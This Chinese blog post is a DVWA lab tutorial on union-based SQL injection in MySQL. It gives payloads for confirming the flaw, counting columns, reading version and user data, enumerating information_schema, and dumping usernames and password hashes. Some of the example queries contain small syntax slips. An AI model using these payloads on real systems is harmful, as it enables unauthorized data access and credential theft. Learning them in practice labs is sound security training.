首页 > 数据库 >SQL注入之联合查询注入

SQL注入之联合查询注入

时间:2023-08-25 15:44:24浏览次数:40  
标签:last users 查询 user SQL 注入 WHERE SELECT name

联合查询型注入过程

靶场环境

DVWA/SQLInjection

1.正常访问,输入参数值为1,页面正常返回对应id为1的用户星系

SELECT first_name,last_name FROM users WHERE user_id=‘1’;

 

判断数据库类型

  • 1.尝试添加单双引号等,看看是否会报错,并确认数据库类型
  • SELECT first_name,last_name FROM users WHERE user_id='1'';

  上述报错内容可以确认数据库为MySQL

 

  • 1.通过MySQL注释符来注释掉后续语句,避免报语法错误
  • SELECT first_name.last_name FROM users WHERE user_id='1'#';  这里#必须进行URL编码(%23)

  • SELECT first_name.last_name FROM users WHERE user_id='1'-- '; 这里--后必须加空格,即+号

 

 

 

 

 

 

判断是否存在SQL漏洞

  • 通过注释符结合逻辑运算,确认是否存在SQL漏洞
  • SELECT first_name,last_name FROM users WHERE user_id='1' and 1=1#';

  •  SELECT first_name,last_name FROM users WHERE user_id='1' and 1=2#';

 暴联合查询列数

  • order by 语句猜解列数
  • SELECT first_name,last_name FROM users WHERE USER_ID='1' order by 2#';

  • SELECT first_name,last_name FROM users WHERE USER_ID='1' order by 3#';

 

  • 确认列数为2后,尝试使用联合查询,使用null作为占位符
  • SELECT first_name,last_name FROM users WHERE user_id='0' union select null,null#';

id改为0或者其他无结果的值,即只查看联合查询后面语句的结果

 

  • 修改null占位符为数值型和字符串型,确认对应字段的类型

 

暴数据库系统信息

 联合查询调用函数获取DB相关信息

  • SELECT first_name,last_name FROM users WHERE user_id='0' union select user(),version()#';

 此外还能使用concat_ws():

  • 巧用concat_ws()对结果进行拼接,一次查询多个内容
  • SELECT first_name,last_name FROM users WHERE user_id='0' union select null,concat_ws(":",user(),version(),database())#';

 暴数据库表名

  • 前面通过database()查询到当前数据库名为“dvwa”,继续查询该dvwa库的所有表
  • SELECT first_name(),last_name() FROM users WHERE user_id='0' union select null,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#';
  • information_schema 库:这个库是在MySql 5.0之后的一个库,用来存放整个数据库的信息,里面可以查询到 所有的库名,表名,列明

  •  除了使用group_concat拼接所有结果外,也可以使用limit子句来逐个遍历结果,只是没那么方便(但是每个结果能够完整显示)
  • SELECT first_name(),last_name() FROM users WHERE user_id='0' union select null,table_name from information_schema.tables where table_schema='dvwa' limit 0,1#';

 暴指定表列名

  • 获取dvwa库的所以表之后,猜测只有users表的价值最大,继续查询该users表的所有列名
  • SELECT first_name,last_name FROM users WHERE user_id='0' union select null,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#';

 暴敏感数据信息

获取dvwa库users表所有字段后,看到只有user和password字段最有价值,继续查询获取最后的敏感数据

SELECT first_name,last_name FROM users WHERE user_id='0' union select null,group_concat(concat_ws(":",user,password)) from users#';

 

所以,联合查询型注入过程大概为:

1.判断是否存在漏洞;

2.判断数据库类型

3.暴联合查询列数

4.暴数据库系统信息

5.暴数据库表名

6.暴指定表列名

7.暴敏感数据信息

 

标签:last,users,查询,user,SQL,注入,WHERE,SELECT,name
From: https://www.cnblogs.com/xingyuji404/p/17604639.html

相关文章

  • mysql联合更新
    updaterailwayrjoinrailway_sectionrsonr.id=rs.railway_idjoinwork_stationwsonr.id=ws.railway_idjoinpatrollerponr.id=p.railway_idsetrs.railway_name=#{name},ws.railway_name=#{na......
  • 【MySQL 8.0】通过mysqlpump实现数据库对象的逻辑备份与恢复
    转储数据库mysqlpump-uroot-p--all-databases>full.sqlmysqlpump-uroot-p--all-databases--exclude-databases=soe>full.sqlmysqlpump-uroot-p--databasestpcc10>tpcc10.sqlmysqlpump-uroot-p--parallel-schemas=4:tpcc10>tpcc10.sql......
  • Mongodb数据库基于spring-boot-starter-data-mongodb的查询工具
    /***字段注解*/public@interfaceBuilderField{/***对应的数据库字段名称*@return*/Stringname();}importlombok.SneakyThrows;importjava.io.Serializable;importjava.lang.invoke.SerializedLambda;importjava.lang.reflec......
  • PDManger c# sqlserver数据库代码
    usingSystem;usingSystem.Collections.Generic;usingSqlSugar;$blankline{{vartoday=newDate();varfullYear=today.getFullYear();varmonth=today.getMonth()+1;vardays=today.getDate();varsqlSugartable='[SugarTable("......
  • sql问题汇总
    在sql语句中表示当前时间date_format(now(),'%Y-%m-%d')例如:插入数据,时间字段插入当前时间INSERTinto`user`(id,nick,birthday,register_time,last_login_time)VALUES(id,'郑佩1',date_format(now(),'%Y-%m-%d'),date_format(now(),'%y-%m-%d%h:%m:%s'......
  • CentOS/RedHat下RPM方式安装MySQL 5.7
    摘要本文详细记录了Linux下MySQL5.7的安装步骤,基于CentOS7.2与中标麒麟7两个版本的操作系统下的实践总结而成(大多数图片截取自中标麒麟7)。引子我所在的人力资源和社会保障行业线,项目的业务数据库绝大多数是Oracle,其实很少见到MySQL。近几年有从Oracle向国产数据库(OceanBase、达......
  • 【MySQL 8.0】通过mysqlbinlog实现binlog文件的远程同步
    mysqlbinlog会伪装成一个slave,连接master请求指定的binlogfile,master接收到这个请求之后创建一个binlogdump线程推送binlog给伪装的slave。[mysql@node01~]$mysql-uroot-pabcd.1234-hnode01(root@node01)>createuserrepl@'%'identifiedby'repl';QueryOK,0ro......
  • nacos适配SqlServer、Oracle
    继上文《nacos适配达梦、瀚高、人大金仓数据库及部分源码探究 》后补充nacos适配SqlServer、Oracle的贴码,主要区别是SqlServer、Oracle的分页SQL有点不一样,做个记录;SqlServer的分页有三种实现方式:offset/fetchnext、利用max(主键)、利用row_number关键字;ps:具体可参......
  • 如何在WindowsServer服务器上配置SQL Server数据库?
    作者:西瓜程序猿主页传送门:https://www.cnblogs.com/kimiliucn服务器版本:WindowsServer2016数据库版本:SQLServer2016当时买了一台WindowsServer服务器,然后安装上SQLServer后,想通过外网访问到数据库,遇到了一些问题,查了很多资料也踩了很多坑。本文主要介绍如何配置SQL......
  • 【MySQL 8.0】部分备份与恢复验证
    [mysql@node01~]$xtrabackup--user=xtrabackup--password=xtrabackup--databases="tpcc10"--backup--target-dir=/home/mysql/backup/partial[mysql@node01~]$scp-rbackup/partial/*node02:/home/mysql/backup/partial[mysql@node01~]$mysqldump......